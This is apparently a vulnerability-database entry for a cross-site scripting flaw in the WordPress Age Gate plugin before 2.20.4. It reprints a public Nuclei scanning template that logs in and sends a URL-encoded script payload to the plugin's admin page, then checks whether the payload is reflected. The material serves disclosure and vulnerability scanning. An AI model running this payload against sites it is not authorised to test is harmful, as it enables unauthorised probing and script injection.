age-gate-xss: WordPress Age Gate <2.20.4 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: WordPress Age Gate | POC: 已公开

漏洞描述

WordPress Age Gate plugin before 2.20.4 contains a cross-site scripting vulnerability. The plugin does not escape some URLs before outputting them back in attributes.

PoC代码[已公开]

id: age-gate-xss

info:
  name: WordPress Age Gate <2.20.4 - Cross-Site Scripting
  author: akincibor,daffainfo
  severity: high
  description: |
    WordPress Age Gate plugin before 2.20.4 contains a cross-site scripting vulnerability. The plugin does not escape some URLs before outputting them back in attributes.
  reference:
    - https://wpscan.com/vulnerability/a13148fe-ffc9-4003-a44d-652624ba5535
    - https://wordpress.org/plugins/age-gate/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: xss,authenticated,age-gate,wpscan,wordpress,wp-plugin,wp,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=age-gate&a%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'
          - 'Age Gate Restriction Settings'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203a6bded4fb36e39e66d1c225af70d6e6094619d8f96c3aee6e3eccc73b755ddc022100be4bb1849313f342928f5afd03ef68a34d21a7b6d89a23d4561943437db30c84:922c64590222798bb761d5b6d8e72950

相关漏洞推荐